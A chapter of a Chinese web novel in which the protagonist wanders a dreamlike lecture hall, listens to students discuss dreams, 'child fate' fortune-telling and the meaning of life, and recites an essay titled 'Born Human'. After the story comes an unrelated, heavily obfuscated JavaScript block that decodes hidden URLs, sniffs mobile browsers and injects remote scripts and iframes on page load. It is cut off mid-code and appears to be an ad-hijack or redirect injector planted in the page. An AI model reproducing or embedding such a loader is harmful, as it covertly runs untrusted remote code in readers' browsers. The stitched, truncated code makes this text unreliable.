第219章 回味(1 / 2)

梦里,我也曾普渡众生;醒来后,对万事万物,漠不在意

···

这是何处?

长弓隽铭睁开眼眸,看了看四周。

这里,似乎是一个教室;但,又不仅仅只是教室。

教室慢慢变大,变成了能坐数百人的阶梯教室,变大着,又变成了会堂一般。红木桌子,浅黄色和黑色的椅子,一盆又一盆的绿萝,深色的窗帘,墙壁上,有着画像,有着名言警句,有着信仰的条文。

教室,给了人会堂的感觉;会堂,给了人教室的感觉。

会堂里有了人,教室里,有了学子。

学子们,坐在了教室之中,是在学习;但是看了过去,长弓隽铭又觉得奇怪了些——他看见,一个人看着一本书,这本书里,似乎有着浮生的幻光;他看见一个人写着字,一笔一划,似乎勾勒出了人生意义。

他看见几个人讨论着,是在讨论实验或是学术?不,他们在研讨真理,在研讨大道。

他听见了数不清的声音,说着梦,说着人生,说着思悟。

“前天梦里,我被迫地结婚了,我寻了一辆白色的越野车,逃了出去,走在了白茫茫的路上···我看见了一个世界,走了进去,经历了曾经的时光。”

“成熟的我,已经不再高调。那年,我依然参加了高考···悠闲地,走到了维多利亚王老师的私人课堂,月份,大概是一月吧,我听了她的语文课,与她一起说了语文的解题思路与方法···我很享受,有一句话我听见了,听得清楚:当你一所有,所有的人都会抛弃你,人生,从不梦幻,而很现实···我看向楼下记忆中的马路,却看见了操场,操场里很是阴暗,似乎又在变得明亮。”

“操场上,有一堂体测,名为最后。我参加学习生涯最后的测试,逛了逛,却似乎身处其外···也许这次体测是象征着最后一次相逢,我累了,并不想久居其中···我走着走着发现体育课开始了,所有人集合完毕,我也站在了队伍之中。我看了身旁,哦,我站在了熟悉的第二排,身旁的人是熟悉的人:左边是尹妹子,右边是佩文,前面是兰兰,我觉得讶异,讶异的时候身体里却产生了疲惫——我坐在了地上,太累太累,我累得,想要倒在地上···她们转过了身子,关切地,看着我···”

“体测,终于开始了,一开始是跑步,跑得缓慢,我跑着跑着,就去和友人浪了,跑着跑着,还去了足球场踢起了足球···跑步的轨迹是半个操场大小的圆···慢慢地,我察觉到了落寞,身旁的人少了,我变得孤单,我依然慢悠悠地跑步,没了疲惫,多了强大,我察觉到,我的力量,在渐渐苏醒。”

“一个足球,飞了过来,我头也不转,抬起一脚踢了过去——足球飞到空中,碎成了两半···不知何时,这学习生涯里的体测会迎来尽头,名为终末的体测,多了自由活动的时间···我看了她们,看了她们一眼,并未走过去了,我独自走到栏杆下,耷拉着身子,静坐风中。”

“这个梦,着实有韵味。”

他给她说了他做的梦,她有些惊讶,也说了自己的梦。

“说来很巧,你的梦,与我的梦见你的梦,都是发生在前天···我梦见你开车载着我去学校,路过了一条小巷子。小巷子有很多吃的,我们便停了下来买东西。”

“只有在梦里,我才能上学吧···这是缘分,我们同一天做了回归过往的梦,回归了学堂,回学校后,我还看见了龙龟···”

“能看见龙龟可还行!”他笑道。

“没办法啊,他具有代表性嘛,其他人我也梦见了,可是一如你所说,这个世界上大多数的都是凡人,提起凡人,并多少意义。”

“你说得对。”

龙龟?说的,应该不是刘大川吧!

世界上有千千万万只狗,有的狗叫小狗,有的狗叫大狗;人也一样,百家姓氏就那么多,你姓张,都叫张铭的人成百上千,都叫张心的人千千万万。

世界里姓龙的不在少数,绰号为龙龟的人不可能是孤零零的一,三人行必有我师,三人行,说不定三人都是龙龟。

长弓隽铭笑笑,视线从两人身上转移回来,又看向了另外的两人。

“儿童节快乐!”她笑道。

“儿童节?今天是六月一号么?就算是,我也不快乐,因为没啥快乐的,当然,我也不悲伤,因为没有什么值得悲伤的。”他抬起头,回了一句。

“用老人的心境,像孩子一样活着。”

“不闻不顾,不言不语,自然不会受到影响?是这样么?”

“是也非也,凡人琐事,我现在都不放在眼里。长弓隽铭,你的境界还是不够,我等着你的苏醒。”

“蛤?”

“今天我炖了排骨,非常好吃。我很满足,很快乐,我享受吃的每一口和烹饪的过程···人生非两件事,吃饭,还有睡觉,每天做好这两件事,就是充实的一天。”

“怎么又说起吃饭睡觉了?”他有些疑惑。

“因为,吃饭和睡觉,便是用老人的心态,像孩子一样活着。”

“你说的真有道理,可你,还要挣钱养活自己吧!”他有所思悟,想了想平日所见大多为凡人,若是与凡人说,凡人一定会说钱呢你说的好可是还得挣钱啊!想到此,他便借用了凡人的话语。

她笑了笑,轻声说道,“我以后的工资,只要够吃就行,我不买房我不买车,我不追求名利权欲,甚至于我可以不结婚生子传宗接代···我只想活好自己,活好自己,已经足够难得了,怎么还有功夫管他人,怎么还有心思迷恋尘世的一切···我早早就有了老人的心境,如今,像赤忱的孩子一般活着。”

“你早早,不就是了么?”她又说道。

“是啊,我早早地,就到达了这般境界,你我心态坚若磐石,凡人则大多心态不好,”他坐得悠然,手上的书被悄然合上,“心态不好,说穿了,就是心太小了。心态的态字,拆开来看,就是心大一点。任何事情,总有答案,与其烦恼,不如学会接受。人生本来一场空,得失之后的心态决定苦乐,缘来不拒,境去不留,看淡了得失,才有闲心品尝幸福。”

“所以,长弓隽铭,有时的你落在了我的后面,有时的你,又走在了我的远方。其实,你早早就有了老人的心境,超脱了生死与轮回,只是有的时候,你会让你自己经历红尘俗事,你给我说过,经历是思索的基础,你会不断经历新的未来,如果你感觉不到新意,你会给自己创造新的经历。”

“如今,不也是如此?”

“嗯,”她点点头,“你说得对。”

青年笑笑,从两人身上移开了目光。

他的耳朵动了动,听见了另一种大道。

道法?童子命?

“你去了解一下,童子命。或许我们就是,与佛家道法有缘。”

“童子命,那是什么?”

“说不清楚···简单的说,就是上辈子的仙童因各种原因下凡来,因为来自天上,所以人生会很不顺···众所周知,童子命的人虽说命犯五关,一生不顺,霉运缠身。但是凡事都是辩证的:童子命的人来历不凡,自带天命,天赋异禀,因此当我们提到童子命的时候,总是有人欢喜有人忧愁。忧愁是因为童子命的人一生坎坷,从小体弱多病,婚姻不顺,事业难成,财运低迷···欣喜则是因为童子命的人天生不凡,在某个领域极具慧根,拥有常人所不能的非凡本领,但是却被童子煞星的煞气所困,不能龙出生天。”

“童子命的人对佛教道教等宗教悟性高,多次梦到仙、佛、神、怪、鬼等灵异现象,多信命运、预测术数什么的,喜欢神秘文化与事物,能比普通人更早一步看透红尘,适合修真;多对传统文化、玄学术数、武术医学、文艺方面有天赋,有的童子,爱好古代事物···”

“童子命的人,心灵和性情敏感或复杂,多愁善感,性格内向孤僻,朋友极少,人际关系环境恶劣,招小人恶人欺负···一般,都有大难不死,或是死里逃生的经历···”

“有点感觉了!”聆听的他感叹一声,继续听了下去。

“我查了下,我是隐身童子命,而且,我基本全部符合童子命的特征···我是第二类童子命,为真童子命,此类前世往往是仙官,所以导致被贬为童子,这种真童子命注定在人间需要饱受苦难与磨炼,此类多因罪责未尽,故今世仍在人世受七情六欲所困···”

“童子命若为真,一座城市,说不定,只你我两人,”他笑笑,“一开始我还想问你是不是查阅的,可是听了你的长篇大论我觉得不是——你的话里有太多语病,比如什么是基本全部符合童子命的特征,要我这个不看他人之书的人说,也应该是基本符合童子命的全部特征···”

闻言,她奈地摇摇头,知道是他的揶揄,便继续说了下去。

“所以,一切都有了答案,为什么我一直在寻找,为什么,今年我的身体总是各种不舒服···查不出原因的慢性疾病也是童子命的特征之一,因为不适应凡人的躯体,特别是我不擅长理科尤其数学,这也是特征。而今年,我也彻悟。”

“霍!我第一次见有人能把数学不好怪罪地如此清新脱俗的,”他怪叫一声,“看来,我不是童子命了,小爷我身体棒棒哒没得过什么病,而且我理科,算了不说理科,说我的数学——我的数学,那是两个棒棒哒!”

“不,你是童子命。”闻言,她却是说道。

“哦?”他有些疑惑。

“童子命有童子煞星,你只是克服了它,我问你,你小时候,没有得过病么?”

“小的时候肯定得过呀,不过慢慢地,一年都生不了什么病了,别人得病我不得,别人犯病我不犯,别人疲软我张狂,别人感冒我脱得精光。”他吹嘘自己,说的倒也是事实。

“对啊,体弱多病的童子煞星,被你克服了,你克服了体弱多病,所以便有了超越常人的身体。一样的,你数学好也是因为你克服了它···别的不说,你的理科,尤其是物理化学生物,真的好么,你真的擅长么?”

“咳咳···物理勉强,化学和生物,就不能谈了。”他摸摸头,但又一本正经地说道,好似不要脸。

“这不就对了,”她轻轻地点了点头,“你符合童子命的特征,而特征只是参考,生辰八字才是关键,我看过你的生辰八字,你确实是童子命。”

“和我一天的,和我同一时辰的,生辰八字差不到哪里去,难不成,有那么那么多的童子命?等等,你什么时候知道我的生辰八字的。”

“你告诉我的啊,不信,自己翻聊天记录去。”

“算了算了,反正我又不在乎,只是说起童子命吧,”他说道,“我倒是觉得,童子命需相信,现在的鬼怪离奇之说太杂太多,随便写一天,或许能有一半的概率是童子命。你可以信童子命,但别信数据的查询,因为数据易改,容易骗人。也许按照生辰八字查询的童子命最为真实,因为一个人的出生年月是唯一的,可我,也觉得,若童子命为真,那么,也只有非凡之人,具有非凡之命。”

“我忽然想起,童子命,似乎有一个口诀?”他又说道。

“是啊,有一个口诀,”她点点头,“我知道口诀的一小部分,反正,宁可信其有不可信其,我也确实符合那些特征,我们,本来就与凡人不一样。”

“我们,确实与凡人不一样,从出生的那一刻起,我们便注定了我们要走的路。”

“嗯,非凡之人,具有非凡之命。”

道法,童子命。

不知从何时起,我就没有了信仰。

也许,从一开始,就不会有信仰;也或许,是因为自己也已经足够强大,可以做自己的信仰。

童子煞星若有,也被我早早地克服。

青年笑笑,随意找了一个座位,继续听了下去。

只是有时候他会觉得,说话的人,有些熟悉;只是有时候他会发现,说话的人前前后后,慢慢地消散;当他听见一道声音的时候他就常常听不见另一道声音,他们的话语,一浪接着一浪,此起彼伏。

有为数不多的交叉,却真正的融合。

“可以有为数不多的交叉,却真正的融合,这也像是一个人的人生路。”

“也许,它们都属于一个人的人生路,是这条路上的经历的时光。”

——

教室里,学子很多,很安静。

会堂里,红木桌椅,檀木书房。

学子们的年龄不大,却像是成熟了些,一人本是趴着,忽然抬起了头,左右看了看,像是才从梦中醒来。

他找了一友人,简单地说了自己的梦。

“卧槽!我刚才的梦太好了,我梦见了黄兰!意境很美,我不知道怎么形容,反正天是阴的,梦开始的时候是白天,一转眼便变成了黑夜···匆忙的变化中,我感受到了恩怨情仇,失去与获得;匆忙的时间之中,我感受到了迷糊的情感与纯美的爱恋···”

“你知道么,梦里的我还能让一个东西飘起来,感觉什么东西都可以。所以梦里的我坐在椅子上,想着去做了,我????????????就伸伸手,让我的椅子飘了起来,而我呢,坐着椅子飘到了半空···我像是超凡脱俗···哦对了,我们是在一艘宏伟的轮船上,千百人,惊涛骇浪。”

“之前不知道,现在我也知道了,”听者笑笑,“兄台有点厉害,不仅仅梦见了女主角,还梦见自己有了超能力,对了兄台,既然你在船上,那你是乘客么?”

“不,”他想了想梦,梦境的一些画面变得清晰,“我是船长。”

他的眼神,渐渐变得迷离。

他又一次,返回了梦中世界,看见了一艘宏伟的轮船,直挂云帆,扬帆起航。

海水,不仅仅是暗淡的灰色,还有着比深渊更令人恐怖的黑暗。

他站在船头,迎接着风浪。

他站在船头,学堂里的他低声喃喃。

“我是船长。”

“这一艘船,连接了生死。”

“我将一些人,从阴间带回阳间。”

···

连接了生死,将他们,从阴间带回阳间?你是阴阳法师么?

青年揶揄,还未多想的时候,他消失了,青年耳边,又响起了新的声音。

新的声音,多了几分欢笑,多了几分平凡。

“你知道么,我今天弄的丸子超级难吃,难吃到踏马的恐怖。你知道么,小爷我吃了一口就吐了,但是!但是但是但是,关键我觉得忙活了一上午不吃的话很亏,所以我还没吐出去,就逼迫着自己吃了回去···玛德,果真是难吃,小爷明明是按照食谱来的,平日我也做饭,怎么会做出一个黑暗料理?”

“兴许,你把胡椒粉当成了味精,你把酱油当成了醋,你把醋当成了料酒,你把料酒当成了白开水···我说你,没做好就没做好吧,有什么大不了的,下一次再做呗···说到做饭我觉得你应该向我长弓某人学习学习,我打三岁进厨房,五岁会做饭,七岁是厨师,九岁是大厨。如今,只要我有时间,我能做出我喜欢吃的所有菜来!”

“谁能和你比,你吃的鲜香麻辣,虽说好吃吧,可是也回味穷啊!”

“怎么滴?我从你的话中,感受到了羡慕嫉妒恨?”

“我会羡慕你,我自己也会做饭好吧!”

“就这?做黑暗料理的人也叫会做饭?你怕不是蒸个包子能当成手榴弹给扔出去!”

“长弓兄,告辞!”

···

“你知道么,我在淘宝上买了一个道馆师傅算命,我算了学业,花了八十···外国病情严重了些,我不知道下半年是否应该去读研···顺便,我也问了问童子命。”

“读研不读研,不就是你自己的决定?跟算命有什么关系?硬币抛起来的时候你就知道你的选择了,你的决定,和算命的秃驴有个鸡蛋关系。”

“你说得对,我早早就有了决定,我想像他一样,做一个潇洒的人,世界那么大,我总要多看看,快意人生,潇洒自在。”

“这不就对了?”

“对啊,所以,我也推荐你找个便宜的师傅算算,看看准不准反正也才十几块钱。”

“不去不去,听秃驴念经一点趣味都没有,我做什么样的决定做什么样的选择,只取决于我自己。我已经确定好了自己的路,算命,呵,这世界上,焉有人有资格给我算命?”

“对啊,这就是你啊,哈哈!”

···

“对了,你现在生活如何?”

“你眼睛瞎了?啊?我不就在这里,你想知道我生活如何,看看我整个人的状态不就可以了?一个人的生活如何,可以从他的状态看出——看看我,仔细看,我穿着得体,并不拘泥于所选择之物,并不一定和常人穿类似的衣服,我也不拒绝和常人穿一样的衣服。随意穿着,即使穿得和乞丐,似乎也并不可···你再看我的样貌,不说十全十美,也差不多了,曾经我的眼眸里还有着狂暴,但如今我的眼里,大多时候只剩下了平和,因为,我早早就不在乎世间的万事万物。既然不在意,那便没有情绪,没有情绪,所以我的眼眸里,只剩下了漠然的平和。”

“一个人的生活,一个人的心理,可以从语言、动作、神态、表情、穿着、行为、声音等各个方面展现出来,你看看我,大道自然,道法自然。我的生活,也自然是过得如意了。”

“我就是象征性地问问,结果你倒好,说了一大通。”

“象征性?”

“对啊,你我都是自私的人,都只在乎自己的利益。你我的气质,常常浓郁而法隐藏,却也常常埋入心底,不被他人知晓,入了人群,便是泥牛入海失去踪影。我们在人海里寻着落寞,寻着孤寂,寻着人生。”

“是啊,万籁俱寂的时候,方能感受到一缕空旷,一缕自由。”

青年听着,觉得他们是在述说人生,是在研讨真理、人生意义与大道。他听着,从他们的身上感觉到了共鸣,像是与他们熟悉,像是,他们的身上,有他的影子。

他看了过去,觉得这里的学子,都是成熟了些。

他看了过去,又觉得这里的学子与他相比,如同萤火比之皓月。

言语中熟悉的感觉,仅仅只是言语,看过去,寻不得人影。

再看过去,不过是一个个年龄大了些的学生,身上,多了庸凡的俗性。

他把视线,从学子身上转移。

他看向教室的中心,会堂的中心处,有一个讲台。

台上,有一位女老师,优雅而端庄,仿佛思想内蕴,心中,有大千世界。

他看着她,心中忽然升起了感动。

是你么?

——

教室里的声音,忽然多了起来。

会堂里的声音,变得嘈杂了些。

每个人,都在说着自己的感悟,声浪连绵起伏而总有最汹涌的浪潮,浪潮席卷,慢慢地,要飘到青年身旁。

他知道,下一刻,或许就轮到他了。

他心想要说些什么,固定,或是随缘,都行。

快轮到他的时候,讲台上的她朝着他笑了笑,说让他等一会儿——她控了全场,像是布置作业,更像是传授思想与大道,她说的生动传神,室内的声浪,随着她的演讲消失踪;学子们身上的庸凡,似乎从未有过。

似乎,这里的人,都变地高大了些;似乎这里的人,看见了浩瀚星辰。

他很享受,却也知,她说的一切他早就懂了。

他闲来事,静静听着,写了手稿。

“长弓老师。”

“该你了。”她控场结束,走了下来,对我说道。

——

长弓隽铭站了起来,开始了并不全是演讲的演讲。

不多时,他停了下来。

他看着他,问道。

“你说,如你我,存在的意义是什么?”

存在的意义,是什么?他想了想人生,想了想梦里,想了想梦见的曾经想了想名为终末的体测。他再一次回忆起熟悉的第二排,想起他的身旁,有三个她。

陪他走路的人多了,他为了走自己的路,选择了孤独。

自走人生路,他还是有很多很多的朋友,可是,自己的人生路,却只属于自己一个人。

自己的路,只能靠着自己走下去。

你强大了,才是真的强大,依附他人得到的强大,如何盛势,也不过云烟缥缈。

他想起了未来,未来会不会忽然地穿上了婚服;他会不会,为了自由,选择了离开。

他觉得,他有自己的人生,他做什么事,需他人的赞美或是支持,不会在意他人的驳斥或是反对;他告诉自己,不要执着于凡尘俗事。

注定了,不是凡人的一生。

他看了看他,青年从他的眼眸里,看见了答案。

“或许,是来人间修行;也或许,是贪恋红尘烟火;或者来人间经历磨难痛苦,注定,也是凡人的一生。”

“或许这个世界的我们闭上了眼睛,另一个世界的我们就会醒来,好似大梦一场。所以,对这个世界的东西不要执着,经历就好,感悟就好,不要以凡人的好坏去评价。”

“我们应该体会更多的工作,体验更多的经历···不知道前世何种原因来到人间,今世为人,便不负凡人的一生,或许不知道什么时候,我们就被带走了呢!”

生而为人,便好好度过一生。

生而为人,便不负凡人的一生。

他看了看他,潇洒说道。

“曾经,我写了一篇文章,如今,我赠与你。”

“其名,《生而为人。”

《生而为人

生而为人,便不负凡人的一生。

来此人生一遭,也是来体验的。寿命长短,金钱名欲,都不重要,一切终将归于尘土,等候另一个世界的重生。

昨夜,我做了一个冒险的梦,事关生死,经历奇妙。

我觉得我的梦是因为我心智的成熟。没有人可以想象,我这二十余年,究竟思索与经历了多少。我法理解世人的庸俗,也拒绝同流合污。这一世,我只做我自己,我只是一过客,没必要真正获得已失去,也需在任何事任何人身上倾注丝毫的感情。

我只是我,自大,狂妄,与淡漠。我发现我愈发不能控制自己的气质,这预示着我正在步步高升,我希望我能表现得随和,但很明显,对世人的幼稚,我只能表现淡漠。

她说,“我们应该体会更多的工作,才能有不同的感悟。”

是啊!我终究是人,生而为人,便逃不过生死的界限。所以要在有限的时间见多识广,故而感悟更多。

走在路上,留过一缕,留了一许,留给世人的只能是背影。

或许,应当,连背影都不留一席。

他听了,笑了笑。

他,静静地坐着。

他,缓缓地,消失不见了。

···

会堂,变得寂静了些。

她早早地,就不在讲台上了,她坐了下去,把位置让给了他。

他看着教室里的学子,看见了她,便又说道。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 